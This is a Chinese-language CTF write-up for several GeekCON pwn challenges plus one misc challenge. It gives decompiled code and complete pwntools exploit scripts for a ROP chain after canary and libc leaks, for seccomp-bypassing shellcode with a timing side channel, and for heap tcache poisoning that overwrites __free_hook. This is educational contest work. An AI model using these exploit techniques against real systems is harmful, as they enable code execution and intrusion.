题目附件https://github.com/nyyyddddn/ctf/tree/main/geekcon
pwnable
Memo0
有一个login函数,login success了会调用一个输出flag的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| unsigned __int64 login() { unsigned __int64 v0; size_t v1; _BYTE *s1; char s[40]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); printf("Please enter your password: "); __isoc99_scanf("%29s", s); v0 = strlen(s); s1 = sub_12E9((__int64)s, v0); if ( !s1 ) { puts("Error!"); exit(-1); } v1 = strlen(s2); if ( memcmp(s1, s2, v1) ) { puts("Password Error."); exit(-1); } puts("Login Success!"); sub_1623(); free(s1); return v5 - __readfsqword(0x28u); }
|
三个字节转换成四个一组然后 sbox,很明显是base64,然后把索引表换了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| _BYTE *__fastcall sub_12E9(__int64 a1, unsigned __int64 a2) { unsigned __int64 v3; unsigned __int64 v4; int v5; unsigned __int64 v6; int v7; __int64 v8; int i; int v10; int v11; unsigned int v12; unsigned __int64 v13; __int64 v14; unsigned __int64 v15; _BYTE *v16;
v15 = 4 * ((a2 + 2) / 3); v16 = malloc(v15 + 1); if ( !v16 ) return 0LL; v13 = 0LL; v14 = 0LL; while ( v13 < a2 ) { v3 = v13++; v10 = *(unsigned __int8 *)(a1 + v3); if ( v13 >= a2 ) { v5 = 0; } else { v4 = v13++; v5 = *(unsigned __int8 *)(a1 + v4); } v11 = v5; if ( v13 >= a2 ) { v7 = 0; } else { v6 = v13++; v7 = *(unsigned __int8 *)(a1 + v6); } v12 = (v11 << 8) + (v10 << 16) + v7; v16[v14] = aZyxwvutsrqponm[(v12 >> 18) & 0x3F]; v16[v14 + 1] = aZyxwvutsrqponm[(v12 >> 12) & 0x3F]; v16[v14 + 2] = aZyxwvutsrqponm[(v12 >> 6) & 0x3F]; v8 = v14 + 3; v14 += 4LL; v16[v8] = aZyxwvutsrqponm[v12 & 0x3F]; } for ( i = 0; i < (3 - a2 % 3) % 3; ++i ) v16[v15 - i - 1] = '='; v16[v15] = 0; return v16; }
|
直接解密拿到login用的password,login后拿到flag
Memo1
memo1在memo0的基础上去掉了backdoor函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v3; unsigned int v5; char s[264]; unsigned __int64 v7;
v7 = __readfsqword(0x28u); sub_1594(a1, a2, a3); puts("===================Memo Login==================="); login(); v5 = 0; while ( 1 ) { while ( 1 ) { v3 = sub_188A(); if ( v3 != 4 ) break; v5 = 0; memset(s, 0, 0x100uLL); } if ( v3 > 4 ) break; switch ( v3 ) { case 3: sub_17F2(s, v5); break; case 1: v5 += sub_1780(s, v5); break; case 2: puts("Content:"); puts(s); break; default: goto LABEL_12; } } LABEL_12: puts("Error Choice!"); return 0LL; }
|
在这个子函数里面存在一个有符号数转无符号数的溢出,由于程序存在canary 得控制输入数据在恰当大小下用puts把canary泄露出来,补码中接近0的负数 高位全是1,所以得找一个尽可能远离0的负数,搜索八个字节有符号整数能表示的最小的数是 -9223372036854775808,所以只需要构造一个 -9223372036854775808 + size的表达式,就能控制read to buf的size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned __int64 __fastcall sub_17F2(__int64 a1, unsigned int a2) { __int64 v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("How many characters do you want to change:"); __isoc99_scanf("%lld", &v3); if ( a2 > v3 ) { read_to_buf(a1, v3); puts("Done!"); } return v4 - __readfsqword(0x28u); }
|
通过puts去泄露libc和canary的值,然后打rop就好了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0 IP = "chall.geekctf.geekcon.top" PORT = 40311
elf = context.binary = ELF('./memo1') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
password ="CTF_is_interesting_isn0t_it?" sla("Please enter your password:",password)
def add(data): sla("Your choice:","1") sla("What do you want to write in the memo:",data)
def show(): sla("Your choice:","2")
def edit(num,data): sla("Your choice:","3") sla("How many characters do you want to change:",str(num)) s(data)
add(b'a' * 0x10) edit((-9223372036854775808 + (0x110 - 8 + 1)),b"G" * (0x110 - 8 + 1)) show() ru(b"G" * (0x110 - 8)) leak_canary = u64(r(8)) & 0xffffffffffffff00 success(f"libc_base ->{hex(leak_canary)}")
payload = b'G' * (0x110 - 8) + b'G' * 0x10 edit((-9223372036854775808 + (0x118)),payload) show()
ru(b'G' * (0x110 - 8) + b'G' * 0x10)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x732289629d90 - 0x732289600000) success(f"libc_base ->{hex(libc_base)}")
rdi = libc_base + 0x000000000002a3e5 binsh = libc_base + next(libc.search(b'/bin/sh')) system = libc_base + libc.sym['system'] ret = libc_base + 0x00000000000c45e3
payload = b'G' * (0x110 - 8) + p64(leak_canary) + b'G' * 8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
edit((-9223372036854775808 + (len(payload))),payload) sla("Your choice:","5")
p.interactive()
|
shellcode
好难,这个shellcode,有一个沙箱,得用侧信道爆破,不过侧信道爆破这个问题不大,难的地方在绕过这个沙箱最好的方法是 sysycall read一次,但是syscall两个字节取余后都为1,然后( (char)(*((char *)buf + i) % 2) != i % 2 ) 取余判断这里 其实是存在一个溢出的,也就是说只能用 127以下的指令去实现self modifying code 造一个syscall read,能用的指令非常有限,搓出 sysycall read之后,填充大量的nop在nop后边写一个 open read cmp的逻辑,如果cmp成功就陷入一个比较大的循环,通过每次交互的时间差来判断flag的内容
处理时间差的策略是,针对每个pos 记录下 start_time 和 end_time的差,找出其中最大的差
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __int64 sub_1290() { __int64 result; __int64 v1;
v1 = seccomp_init(0LL); seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL); seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); result = seccomp_load(v1); if ( (int)result < 0 ) { perror("seccomp_load failed"); exit(1); } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int i; int v5; void *buf;
sub_1249(a1, a2, a3); puts("Please input your shellcode: "); buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL); sub_1290(); v5 = read(0, buf, 0x200uLL); for ( i = 0; i < v5; ++i ) { if ( (char)(*((char *)buf + i) % 2) != i % 2 ) return 0xFFFFFFFFLL; } ((void (*)(void))buf)(); return 0LL; }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| from pwn import *
import itertools import ctypes import time
context(os='linux', arch='amd64')
is_debug = 0
IP = "chall.geekctf.geekcon.top" PORT = 40245
elf = context.binary = ELF('./shellcode') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
strlist = "abcdefghijklmnopqrstuvwxyz0123456789_-+=@$%^&*({}\\|/?" flag = ''
for pos in range(0,4):
total = 0 str_str = 0 for byte in strlist: p = connect() start = time.time()
try: p.recvuntil('shellcode: ') shellcode = b"\x90\x01\x18\x59\x6a\x3b\x5a\x59\x4c\x01\x18\x59\x48\x01\x10\x59\x6a\x7f\x5a\x59\x48\x01\x10\x59\x48\x01\x10\x59\x68\x01\x00\x01\x00\x59\x50\x51\x5a\x59\x48\x31\xc0\x59\x48\x39\xd2\x59\x56\x59\x50\x51\xc2" p.send(shellcode)
payload = asm('nop') * 0x10 payload += asm(f''' mov r15,rsi add r15,0x100 mov rax,2 mov rdi,r15 mov rsi,0 syscall
mov rax,0 mov rdi,3 mov rsi,r15 mov rdx,0x100 syscall mov r14,0x7fff0000 loop: sub r14,1 cmp r14,0 jz $+200 mov al, byte ptr[r15+{pos}] cmp al,{ord(byte)} jz loop ''') payload = payload.ljust(0x100,asm('nop')) payload += b'./flag\x00\x00' p.send(payload) p.recvuntil("aaaa") p.interactive() except: end = time.time() if end-start>total: str_str=byte total = end-start p.close()
flag += str_str success(flag) if str_str == '}': break
success(flag)
|
flat
题目加了控制流平坦化,第一次做这种类型的题,找了好多项目去修复,发现都缺少逻辑,可能是题目做了什么手脚
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { unsigned int i; // [rsp+21Ch] [rbp-164h] int v4; // [rsp+220h] [rbp-160h] int data_to_int; // [rsp+224h] [rbp-15Ch] unsigned int idx_4; // [rsp+228h] [rbp-158h] unsigned int idx; // [rsp+228h] [rbp-158h] unsigned int idx_3; // [rsp+228h] [rbp-158h] unsigned int idx_2; // [rsp+228h] [rbp-158h] unsigned int idx_1; // [rsp+228h] [rbp-158h] int choice; // [rsp+238h] [rbp-148h]
v4 = 1; setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); while ( 1 ) { do { while ( 1 ) { while ( 1 ) { choice = read_data_to_int(); if ( choice < 4919 ) break; if ( choice < 48879 ) { if ( choice == 4919 ) { idx = read_data_to_int(); if ( idx > 0x1F || !chunk_list[idx].chunk_addr ) exit(0); free((void *)chunk_list[idx].chunk_addr); chunk_list[idx].chunk_addr = 0LL; LODWORD(chunk_list[idx].chunk_size) = 0; } } else if ( choice < 57005 ) { if ( choice == 48879 ) exit(0); } else if ( choice == 57005 ) { idx_1 = read_data_to_int(); if ( idx_1 > 0x1F || !chunk_list[idx_1].chunk_addr || !LODWORD(chunk_list[idx_1].chunk_size) ) exit(0); puts((const char *)chunk_list[idx_1].chunk_addr); } } if ( choice < 2989 ) break; if ( choice < 4112 ) { if ( choice == 2989 ) { if ( !v4 ) exit(0); v4 = 0; idx_2 = read_data_to_int(); if ( idx_2 > 0x1F || !chunk_list[idx_2].chunk_addr || !LODWORD(chunk_list[idx_2].chunk_size) ) exit(0); for ( i = 0; i < LODWORD(chunk_list[idx_2].chunk_size); ++i ) read(0, (void *)((char)i + chunk_list[idx_2].chunk_addr), 1uLL); } } else if ( choice == 4112 ) { idx_3 = read_data_to_int(); if ( idx_3 > 0x1F || !chunk_list[idx_3].chunk_addr || !LODWORD(chunk_list[idx_3].chunk_size) ) exit(0); read_to_buf(chunk_list[idx_3].chunk_addr, chunk_list[idx_3].chunk_size); } } } while ( choice != 768 ); idx_4 = read_data_to_int(); if ( idx_4 > 0x1F || LODWORD(chunk_list[idx_4].chunk_size) || chunk_list[idx_4].chunk_addr ) exit(0); data_to_int = read_data_to_int(); if ( data_to_int <= 0 || data_to_int > 2048 ) exit(0); LODWORD(chunk_list[idx_4].chunk_size) = data_to_int; chunk_list[idx_4].chunk_addr = (__int64)malloc(data_to_int); read_to_buf(chunk_list[idx_4].chunk_addr, chunk_list[idx_4].chunk_size); } }
|
只能还原成这样了,漏洞是调试出来的,我构造了很多输入,发现在只有一次 使用机会的edit选项里,当chunk的 udata > 0x80 时候会把 大小为 udata_size - 0x80 的数据 复制到 udata_addr - 0x80的位置,也就是存在一个memcpy的逻辑
初始化chunk和另一个编辑函数都存在00截断,那只有一次memcpy的机会,怎么样同时做到tcache poison 和 覆盖00位泄露地址?
思考了很久想出这样一种堆布局,memcpy 去覆盖一个inused 状态下chunk的size位置 和 把相邻chunk中的00 位置填充,这样不就能拿实现堆叠,通过堆叠打tcache poison 以及 解决 00截断的问题吗?
利用unsortedbin 切分残留的地址去泄露libc,然后打free hook就好了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0 IP = "chall.geekctf.geekcon.top" PORT = 40246
elf = context.binary = ELF('./flat') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x)
p = connect()
def show(idx): sl("57005") sl(str(idx))
def delete(idx): sl("4919") sl(str(idx))
def create(idx,size,data): sl("768") sl(str(idx)) sl(str(size)) sl(data)
def edit(idx,data): sl("2989") sl(str(idx)) s(data)
def edit2(idx,data): sl("4112") sl(str(idx)) sl(data)
create(0,0x500,"A" * 0x500) create(1,0x20,"A") delete(0)
create(2,0x10,"A") create(3,0x10,"A") create(4,0x20,b"/bin/sh") create(5,0xb8,"C")
payload = b'C' * 0x80 payload += p64(0) + p64(0x101) + b'C' * 0x18 payload += p64(0x21) + b'C' * 8 edit(5,payload)
show(3)
ru("C" * 8) libc_base = u64(r(6).ljust(8,b'\x00')) - (0x000074274af14be0 - 0x74274ad28000) success(f"libc_base -> {hex(libc_base)}") system = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook']
create(13,0x10,"SSSS") create(6,0x3C0 - 0x10,"SSSS")
delete(2) delete(13) delete(3)
free_hook_low = free_hook & 0xffffffff free_hook_high = (free_hook >> 32) & 0xffff create(7,0xf0,b"S" * 0x18 + p64(0x21) + p32(free_hook_low) + p16(free_hook_high))
create(8,0x10,"SSSS") create(9,0x10,p64(system))
delete(4)
p.interactive()
|
misc
WhereisMyFlag
.py文件中藏了一段 base64 decode的代码,复制出来后把结果写出来发现是一个压缩文件,gunzip 解压后 使用zcat去查看得到flag